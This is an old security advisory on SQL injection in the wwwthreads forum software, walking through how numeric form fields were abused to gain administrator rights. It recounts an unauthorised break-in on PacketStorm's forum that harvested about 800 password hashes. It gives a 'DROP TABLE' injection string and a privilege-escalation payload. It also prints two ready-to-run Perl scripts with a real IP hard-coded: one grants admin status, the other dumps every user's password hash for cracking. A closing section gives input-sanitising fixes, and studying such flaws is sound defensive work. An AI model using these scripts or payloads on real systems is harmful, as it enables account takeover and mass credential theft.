COMMAND

    SQL

SYSTEMS AFFECTED

    SQL systems

PROBLEM

    'rain  forest  puppy'  found  following.   Many  applications  are
    vulnerable to various forms of  SQL hacking.  While programs  know
    they should  avoid strcpy()  and giving  user data  to a  system()
    call, many are  unaware of how  SQL queries can  be tampered with.
    This is more of  a technical paper than  an advisory, but it  does
    explain how RFP used a vulnerability in the wwwthreads package  to
    gain administrative access and some 800 passwords to PacketStorm's
    discussion forum.

    PacketStorm forums uses wwwthreads.  Being the web security  puppy
    RFP  started  getting  curious.   So  using  an   ultra-insightful
    hacking  technique,  he  changed  the 'Board=general' parameter to
    read 'Board=rfp' used with the showpost.pl script.  Lo and  behold
    he got the following error given to him:

        We cannot complete your request.  The reason reported was:
            Can't execute query:
            SELECT B_Main,B_Last_Post
            FROM rfp
            WHERE B_Number=1
          . Reason: Table 'WWWThreads.rfp' doesn't exist

    Seeing there's  also a  'Number=1' parameter,  we can  figure this
    query can be reconstructed as

        SELECT B_Main,B_Last_Post FROM $Board WHERE B_Number=$Number

    Now, if  any of  you have  read RFP's  phrack 54  article, the SQL
    appension part, available at

        http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=2

    you can  see where  to go.   We can  not only  substitute a $Board
    name and $Number, but also extra SQL commands.  Imagine if  $Board
    were to equal 'general; DROP TABLE general; SELECT * FROM general'
    This would translate into

        SELECT B_Main,B_Last_Post FROM general; DROP TABLE general;
            SELECT * FROM general WHERE B_Number=$Number

    Now the ';' is  generic for ending a  command.  Normally we  could
    use  a  '#'  for  mySQL  to  ignore  everything  else on the line;
    however, the 'FROM' clause is on a separate line than the  'WHERE'
    clause, so mySQL  won't ignore it.   Considering that invalid  SQL
    will cause  mySQL to  not run  any commands,  we at  least need to
    give a  valid command  string to  parse...in this  case, we feed a
    generic select (similiar to the original) back to it.  The  result
    of  this  (theoretically)  is  to  drop (delete) the general forum
    table.

    But in reality, it doesn't work.  Not because the theory is wrong,
    but  because  the  database  user  we're  using  doesn't have DROP
    privileges.  And due to how wwwthreads is written, it won't  quite
    let you do much with this. But all is not lost, we can just  start
    changing all numbers  left and right,  looking for where  it blows
    up...or we can  go the easy  route and download  the (eval) source
    code from www.wwwthreads.com.   Yeah, kind of  cheating, but  it's
    not quite a one-to-one solution.

    You see, the eval code and the license code (of which  PacketStorm
    is  running)  are  slightly  different,  including  their   SELECT
    statements.  So  we have to  be a little  creative.  First,  let's
    find the SELECT statement (or equivalent) that's featured above.

    Just doing  'less showpost.pl',  and searching  (the '/'  key) for
    'SELECT'  will show following:

        # Grab the main post number for this thread
          $query = qq!
            SELECT Main,Last_Post
            FROM $Board
            WHERE Number=$Number
         !;

    Wow, that's it..except the field names (Main,Last_Post,Number) are
    different than the pro version (B_Main,B_Last_Post,B_Number).   If
    we look right above it, we see

        # Once and a while it people try to just put a number into the url,
          if (!$Number) {
            w3t::not_right("There was a problem looking up the Post...

    Which is what limits the use of the $Number parameter.

    At this point let's  now evaluate 'why' we  want to go forth  into
    this.  Obviously DROP'ing tables  ranks right up there with  other
    stupid  DoS  tricks.   You  may  be  able to modify other people's
    posts, but  that's lame  too.   Perhaps setting  up our own forum?
    All that information  is stored in  the DB.   But that's a  lot of
    records  to  update.   How  about  becoming  a moderator?  Or even
    better, an  administrator?   Administrators can  add, delete,  and
    modify forums,  boards, and  users.   That may  be a  worthy goal,
    although your still only limited to the realm of the forum,  which
    makes you a king of a very small and pitiful domain.

    However, there is one thing worthy.   If you make yourself a  user
    account, you'll notice you have to enter a password.  Hmmm...those
    passwords are  stored someplace...like,  in the  database.   If we
    hedge our 'password reuse' theory, and combined with the fact that
    wwwthreads (in  some configurations)  post the  IP address  of the
    poster, we have some possibilities worth checking out.

    So, let's look at this password thing.  Going into 'edit  profile'
    gives us a password field, which  looks an awful lot like a  crypt
    hash (view the HTML source).   Damn, so the passwords are  hashed.
    Well, that  just means  you'll need  a password  cracker and  more
    time before you can start checking on password reuse.  Assuming we
    *can* get the passwords......

    Let's start with the  administrator access first.   The adduser.pl
    script is  a good  place to  start, since  it should  show us  all
    parameters of a user.  Notice the following code

        # --------------------------------------
        # Check to see if this is the first user
          $query = qq!
            SELECT Username
            FROM   Users
          !;
        
          $sth = $dbh -> prepare ($query) or die "Query syntax error: $DBI::errstr.
	        Query: $query";
          $sth -> execute() or die "Can't execute query: $query. Reason:
	        $DBI::errstr";
          my $Status = "";
          my $Security = $config{'user_security'};
          my $rows = $sth -> rows;
          $sth -> finish;
        
        # -------------------------------------------------------
        # If this is the first user, then status is Administrator
        # otherwise they are just get normal user status.
          if (!$rows){
            $Status = "Administrator";
            $Security = 100;
          } else {
            $Status = "User";
          }

    What this does  is look to  see if any  users are defined.   If no
    users  are  defined,  the  first  user  added  gets  the Status of
    'Administrator' and  a security  level of  100.   After that,  all
    added users just  get Status=User.   So we need  to find a  way to
    make our Status=Administrator.  A  full user record can be  seen a
    little further down...

        # ------------------------------
        # Put the user into the database
          my $Status_q   = $dbh -> quote($Status);
          $Username_q    = $dbh -> quote($Username);
          my $Email_q    = $dbh -> quote($Email);
          my $Display_q  = $dbh -> quote($config{'postlist'});
          my $View_q     = $dbh -> quote($config{'threaded'});
          my $EReplies_q = $dbh -> quote("Off");
          $query = qq!
            INSERT INTO Users (Username,Email,Totalposts,Laston,Status,Sort,
	        Display,View,PostsPer,EReplies,Security,Registered)
            VALUES ($Username_q,$Email_q,0,$date,$Status_q,$config{'sort'},
	        $Display_q,$View_q,$config{'postsperpage'},$EReplies_q,$Security,$date)
          !;

    Now, let's take a moment here and explain the quote() function.  A
    string value  of "blah  blah blah",  when stuck  into a query that
    looks like  "SELECT *  FROM table  WHERE data=$data"  will wind up
    looking like

        SELECT * FROM table WHERE data=blah blah blah

    which is not valid.  The database doesn't know what to do with the
    extra two blah's,  since they look  like commands.   Therefore all
    string  data  need  to  be  encapsulated  in  single  quotes  (').
    Therefore the query should look like

        SELECT * FROM table WHERE data='blah blah blah'

    which is correct.   Now, in RFP's  SQL appension article  he talks
    about 'breaking out' of the single quote string by including  your
    own  single  quote.   So  if  we  submitted  "blah  blah' MORE SQL
    COMMANDS...", it would look like

        SELECT * FROM table WHERE data='blah blah' MORE SQL COMMANDS...'
 	                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                                           data we submitted

    This causes the SQL engine  to interpret the MORE SQL  COMMANDS as
    actual  SQL  commands,  since  if  figured  the 'data' part of the
    string ended with the second single quote (the one we  submitted).
    This is  a drawback  of converting  data into  a 'human  readable'
    string, to be parsed back into data again...it's hard to determine
    what's 'code/commands' and what's 'data'.

    All is not lost,  however.  By submitting  a '', it tells  the SQL
    engine to NOT end the data string, but rather only think of it  as
    a single quote in the data context.  Therefore the following query

        SELECT * FROM table WHERE data='data''more data'

    makes the  database look  for the  value "data'more  data".  So to
    keep people from breaking out of strings and submitting extra  SQL
    commands,  all  you  have  to  do  is double up every single quote
    (turn  '  into  '').   This  will  ensure  that all data is indeed
    considered  data.   And  this  is  what  the DBI->quote() function
    does--it will put single quotes around the string, and double  all
    single quotes in the string.

    So  after  all  of  that  explaination,  the  short  of it is that
    anything that is run through quote() is of no use to use,  because
    we  can't  submit  extra  SQL  commands  or  otherwise tamper with
    anything  fun.    And  if  you   look,  wwwthreads  uses   quote()
    extensively.  So this may be rough.  But all is not lost...

    You see, there are different  field types.  You can  have strings,
    boolean  values,  various  numeric  values,  etc.   While a string
    field needs to be in  the format of field='data', a  numeric field
    doesn't use  the ''  (i.e.   numeric_field='2' is  invalid).   The
    correct  syntax  for  numeric  fields  in numeric_field=2.  Ah ha!
    There's no  quotes to  deal with,  and you  can't even  use quotes
    anyways.  The correct solution  is to make sure all  numeric field
    data is indeed numeric (more on  this later).  But we'll give  you
    a hint...wwwthreads doesn't go that far (nor do most applications,
    actually).

    So,  now  we  need  a  SQL  statement that preferably deals with a
    table we are interested in.   A SELECT statement (retrieves  data)
    is tougher, since we'll need  to include a whole 'nother  query to
    do  something  other  than  SELECT.   INSERT  and  UPDATE are nice
    because we're already  modifying data...we can  just ride in  more
    data to update (hopefully).

    Poking around  brings us  to a  very nice spot...changeprofile.pl.
    This is the script that  takes data entered in editprofile.pl  and
    enters the changes into the  database.  Of course, the  profile is
    our user profile.   This means to use  this, we need a  valid user
    account.  In any event, let's have a look-see...

        # Format the query words
          my $Password_q   = $dbh -> quote($Password);
          my $Email_q      = $dbh -> quote($Email);
          my $Fakeemail_q  = $dbh -> quote($Fakeemail);
          my $Name_q       = $dbh -> quote($Name);
          my $Signature_q  = $dbh -> quote($Signature);
          my $Homepage_q   = $dbh -> quote($Homepage);
          my $Occupation_q = $dbh -> quote($Occupation);
          my $Hobbies_q    = $dbh -> quote($Hobbies);
          my $Location_q   = $dbh -> quote($Location);
          my $Bio_q        = $dbh -> quote($Bio);
          my $Username_q   = $dbh -> quote($Username);
          my $Display_q    = $dbh -> quote($Display);
          my $View_q       = $dbh -> quote($View);
          my $EReplies_q   = $dbh -> quote($EReplies);
          my $Notify_q     = $dbh -> quote($Notify);
          my $FontSize_q   = $dbh -> quote($FontSize);
          my $FontFace_q   = $dbh -> quote($FontFace);
          my $ICQ_q        = $dbh -> quote($ICQ);
          my $Post_Format_q= $dbh -> quote($Post_Format);
          my $Preview_q    = $dbh -> quote($Preview);

    Ack!   Practically everything  is quoted!   That means  all  those
    parameters are useless to us.   And lets peek at the final  actual
    query that sticks all our information back into the database

        # Update the User's profile
          my $query =qq!
            UPDATE Users
            SET Password   = $Password_q,
            Email          = $Email_q,
            Fakeemail      = $Fakeemail_q,
            Name           = $Name_q,
            Signature      = $Signature_q,
            Homepage       = $Homepage_q,
            Occupation     = $Occupation_q,
            Hobbies        = $Hobbies_q,
            Location       = $Location_q,
            Bio            = $Bio_q,
            Sort           = $Sort,
            Display        = $Display_q,
            View           = $View_q,
            PostsPer       = $PostsPer,
            EReplies       = $EReplies_q,
            Notify         = $Notify_q,
            TextCols       = $TextCols,
            TextRows       = $TextRows,
            FontSize       = $FontSize_q,
            FontFace       = $FontFace_q,
            Extra1         = $ICQ_q,
            Post_Format    = $Post_Format_q,
            Preview        = $Preview_q
            WHERE Username = $Username_q
          !;

    Since  wwwthreads  nicely  slaps  the  '_q' on the variables, it's
    easy to see.  See it?  $Sort, $PostsPer, $TextCols, and  $TextRows
    aren't quoted.  Now, let's figure out where that data comes from

          my $Sort       = $FORM{'sort_order'};
          my $PostsPer   = $FORM{'PostsPer'};
          my $TextCols   = $FORM{'TextCols'};
          my $TextRows   = $FORM{'TextRows'};

    Wow, they're taken  straight from the  submitted form data.   That
    means they are not  checked or validated in  any way.  Here's  our
    chance!

    Going back to structure of the user record (given above),  there's
    a  'Status'  field  we  need  to  change.   Looking in this UPDATE
    query, Status isn't listed.   So this means that the  Status field
    is going to remain  unchanged.  Bummer.   See what we're going  to
    do yet?  Take a second and think about it.

    Remember,  all  of  this  hinges  around  the fact that we want to
    submit  what  looks   like  data,  but   in  the  end,   the   SQL
    engine/database  will  interpret  it  differently.   Notice in the
    query that  the fields  are listed  in the  format of field=value,
    field=value,  field=value,  etc  (of  course,  they're on separate
    lines).  If you were to  insert some fake values (for the  sake of
    example), you might have

        Name='rfp', Signature='rfp', Homepage='www.wiretrip.net/rfp/'

    All RFP  did was  put the  fields on  the same  line, collapse the
    whitespace,  and  fill  in  the  (quoted)  string values.  This is
    valid SQL.

    Now,  let's  put  this  all  together.   Looking at the the 'Sort'
    variable (which is numeric), we would feasibly have

        Bio='puppy', Sort=5, Display='threaded'

    which is  still valid  SQL. Since  $Sort=$FORM{'sort_order'}, that
    means  the  above  value  for  Sort  was  given  by submitting the
    parameter sort_order=5.   Now, let's  use Sort  to our  advantage.
    What if  we were  to include  a comma,  and then  some more column
    values?   Oh, say,  the Status  field?   Let's set  the sort_order
    parameter to  "5, Status='Administrator',",  and then  let it  run
    its course.  Eventually we'll get a query that looks like

        Bio='puppy', Sort=5, Status='Administrator', Display='threaded'
                          ^^^^^^^^^^^^^^^^^^^^^^^^^^
                             our submitted data

    This  is  still  valid  SQL!   And  furthermore, it will cause the
    database to update  the Status field  to be 'Administrator'!   But
    remember  when  we  looked  in  adduser.pl,  the  first user had a
    Security  level  of  100.   We  want  that  to, so we just set the
    sort_order     parameter     to     "5,    Status='Administrator',
    Security=100,", and then we get

        Bio='puppy', Sort=5, Status='Administrator', Security=100, ...

    which  updates  both  values  to  what  we want.  The database not
    knowing  any  better  will  update  those  two fields, and now the
    forums will think we're an administrator.

    So RFP went to apply  this new technique on PacketStorm...and  get
    a 404  for requests  to changeprofile.pl.   Yep, the  pro  version
    doesn't have  it.   Navigating the  'Edit Profile'  menu, he  sees
    that it  has 'Basic  Profile', 'Display  Preferences', and  'Email
    Notifications/Subscriptions', which  the demo  does not  (it's all
    lumped together).  Wonderful.  If they changed the scripts around,
    they may  have also  changed the  SQL queries  (well they  had to,
    actually).   So  now  we're  in  'blackbox'  mode  (blindly making
    educated guesses on what's going on).  Since we want to play  with
    the sort_order parameter still, you'll see that it's contained  in
    the 'Display  Preferences' script  (editdisplay.pl).   This script
    handles  the  sort_order,  display,  view,  PostPer,  Post_Format,
    Preview, TextCols, TextRows, FontSize, FontFace, PictureView,  and
    PicturePost (gained by viewing the HTML source).  So it's a subset
    of the parameters.  Using the above code snippets, we can guess at
    what the SQL query looking like.  So why not give it a shot.

    First poke some invalid values into sort_order (characters instead
    of numbers).  This  causes an error, which  I figured.  Since,  in
    the  first  example  how  the  fields  where  'B_' for the 'Board'
    table, the 'User' table (which  we are now using) prefixes  colums
    with  a  'U_'.   So  that  means  we  need  to  use 'U_Status' and
    'U_Security' for field names.  Good thing we checked.

    Since this  needs to  be a  valid form  submit, we  need to submit
    values for all of the listed  variables.  At this point we  should
    also point out (again)  we need a valid  user account of which  to
    increase the status.  We'll need the username and password (hash),
    which are printed as hidden  form elements on various forms  (like
    editdisplay.pl).   You'll  see  the  parameters  are  Username and
    Oldpass.  So  based on all  of this, we  can construct a  URL that
    looks like

        changedisplay.pl? Cat=&
	        Username=rfp
	        &Oldpass=(valid password hash)
	        &sort_order=5,U_Status%3d'Administrator',U_Security%3d100
	        &display=threaded
	        &view=collapsed
	        &PostsPer=10
	        &Post_Format=top
	        &Preview=on
	        &TextCols=60
	        &TextRows=5
	        &FontSize=0
	        &FontFace=
	        &PictureView=on
	        &PicturePost=off

    The important one of course being

        &sort_order=5,U_Status%3d'Administrator',U_Security%3d100

    which is just an  escaped version of what  we used above (the  %3d
    translate to the  '=' character).   When you lump  it all together
    into a single string, you get

        changedisplay.pl?Cat=&Username=rfp&Oldpass=(valid password hash)
        &sort_order=5,U_Status%3d'Administrator',U_Security%3d100&display=threaded
        &view=collapsed&PostsPer=10&Post_Format=top&Preview=on&TextCols=60
        &TextRows=5&FontSize=0&FontFace=&PictureView=on&PicturePost=off

    which, while gross, is  what it needs to  be.  So, submit  this to
    PacketStorm, and get

        Your display preferences have been modified.

    Wonderful.  But, noticing on the top menu, one can see an  'Admin'
    option now.  Click  it, and what do  we see but the  heart warming
    message of

        As an Administrator the following options are available to you.

    Bingo!  Administrator privileges!  Looking at options, we can edit
    users, boards,  or forums,  assign moderators  and administrators,
    ban users/hosts, expire/close/open threads, etc.

    Now  for   our  second   objective...the  passwords.    Go    into
    'Show/Edit Users', and  you're asked to  pick the first  letter of
    the usernames  you're interested  in.   So pick  'R'.   At list of
    all 'R*' users comes up.  RFP clicked on 'rfp'.  And there we  go,
    his password hash.   Unfortunately, there's no  nice and easy  way
    to dump all users  and their hashes.   Bummer.  So he  automated a
    perl script to do it for him, and dump the output in a format that
    can be fed into John the Ripper.

    Below are two scripts.   wwwthreads.pl will run the query  for you
    against a pro version of wwwthreads.  You just have to give the ip
    address of  the server  running wwwthreads,  and a  valid user and
    password hash.  w3tpass.pl  will walk and download  all wwwthreads
    user  password  hashes,  and  give  output  suitable  for password
    cracking with John the Ripper.

        -[ wwwthreads.pl
        
        #!/usr/bin/perl
        # wwwthreads hack by rfp@wiretrip.net
        # elevate a user to admin status
        #
        # by rain forest puppy / rfp@wiretrip.net
        use Socket;
        
        #####################################################
        # modify these
        
        # can be DNS or IP address
        $ip="209.143.242.119";
        
        $username="rfp";
        # remember to put a '\' before the '$' characters
        $passhash="\$1\$V2\$sadklfjasdkfhjaskdjflh";
        
        #####################################################
        
        $parms="Cat=&Username=$username&Oldpass=$passhash".
        "&sort_order=5,U_Status%3d'Administrator',U_Security%3d100".
        "&display=threaded&view=collapsed&PostsPer=10".
        "&Post_Format=top&Preview=on&TextCols=60&TextRows=5&FontSize=0".
        "&FontFace=&PictureView=on&PicturePost=off";
        
        $tosend="GET /cgi-bin/wwwthreads/changedisplay.pl?$parms HTTP/1.0\r\n".
        "Referer: http://$ip/cgi-bin/wwwthreads/previewpost.pl\r\n\r\n";
        
        print sendraw($tosend);
        
        sub sendraw {
                my ($pstr)=@_; my $target;
                $target= inet_aton($ip) || die("inet_aton problems");
                socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                        die("Socket problems\n");
                if(connect(S,pack "SnA4x8",2,80,$target)){
                        select(S);              $|=1;
                        print $pstr;            my @in=<S>;
                        select(STDOUT);         close(S);
                        return @in;
                } else { die("Can't connect...\n"); }}
        
        
        -[ w3tpass.pl
        
        #!/usr/bin/perl
        # download all wwwthread usernames/passwords once you're administrator
        # send a fake cookie with authentication and fake the referer
        # initial passwords are 6 chars long, contain a-zA-Z0-9 EXCEPT l,O,1
        #
        # by rain forest puppy / rfp@wiretrip.net
        use Socket;
        
        #####################################################
        # modify these
        
        # can be DNS or IP address
        $ip="209.143.242.119";
        
        $username="rfp";
        # remember to put a '\' before the '$' characters
        $passhash="\$1\$V2\$zxcvzxvczxcvzxvczxcv";
        
        #####################################################
        
        @letts=split(//,'0ABCDEFGHIJKLMNOPQRSTUVWXYZ');
        print STDERR "wwwthreads password snatcher by rain forest puppy\r\n";
        print STDERR "Getting initial user lists...";
        
        foreach $let (@letts){
         $parms="Cat=&Start=$let";
         $tosend="GET /cgi-bin/wwwthreads/admin/showusers.pl?$parms HTTP/1.0\r\n".
          "Referer: http://$ip/cgi-bin/wwwthreads/\r\n".
          "Cookie: Username=$username; Password=$passhash\r\n\r\n";
        
         my @D=sendraw($tosend);
         foreach $line (@D){
          if($line=~/showoneuser\.pl\?User=([^"]+)\"\>/){
           push @users, $1;}}}
        
        $usercount=@users;
        print STDERR "$usercount users retrieved.\r\n".
         "Fetching individual passwords...\r\n";
        
        foreach $user (@users){
         $parms="User=$user";
         $tosend="GET /cgi-bin/wwwthreads/admin/showoneuser.pl?$parms HTTP/1.0\r\n".
          "Referer: http://$ip/cgi-bin/wwwthreads/\r\n".
          "Cookie: Username=$username; Password=$passhash\r\n\r\n";
        
         my @D=sendraw($tosend);
         foreach $line (@D){
          if($line=~/OldPass value = "([^"]+)"/){
           ($pass=$1)=~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
           $user =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
           print $user.':'.$pass."::::::::::\n";
           last;}}}
        
        print STDERR "done.\r\n\r\n";
        
        sub sendraw {
                my ($pstr)=@_; my $target;
                $target= inet_aton($ip) || die("inet_aton problems");
                socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                        die("Socket problems\n");
                if(connect(S,pack "SnA4x8",2,80,$target)){
                        select(S);              $|=1;
                        print $pstr;            my @in=<S>;
                        select(STDOUT);         close(S);
                        return @in;
                } else { die("Can't connect...\n"); }}

SOLUTION

    Now, how  to defend  against this?   As you  saw, the  reason this
    worked was due to  non-restricted data being passed  straight into
    SQL queries.   Luckily wwwthreads quoted  (most) string data,  but
    they didn't  touch numeric  data.   The solution  is to  make sure
    numeric data is indeed  numeric.  You can  do it the 'silent'  way
    by using a function like so

        sub onlynumbers {
                ($data=shift)=~tr/0-9//cd;
                return $data;}

    And similar to how all string data is passed through DBI->quote(),
    pass all numeric  data through onlynumbers().   So, for the  above
    example, it would be better to use

        my $Sort = onlynumbers($FORM{'sort_order'});

    Another area that needs to be verified is the table name.  In  our
    very first example,  we had 'Board=general'.   As you see  here, a
    table name is not  quoted like a string.   Therefore we also  need
    to run  all table  names through  a function  to clean  them up as
    well.   Assuming  table  names  can  have  letters,  numbers,  and
    periods, we can scrub it with

        sub scrubtable {
                ($data=shift)=~tr/a-zA-Z0-9.//cd;
                return $data;}

    which will remove all other cruft.

    In the end,  *all* (let me  repeat that... **ALL**)  incoming user
    data  should   be  passed   through  quote(),   onlynumbers(),  or
    scrubtable()...NO EXCEPTIONS!  Passing  user data straight into  a
    SQL query  is asking  for someone  to tamper  with your  database.
    New versions of wwwthreads are available from  www.wwwthreads.com,
    which implement the solutions pretty much as described here.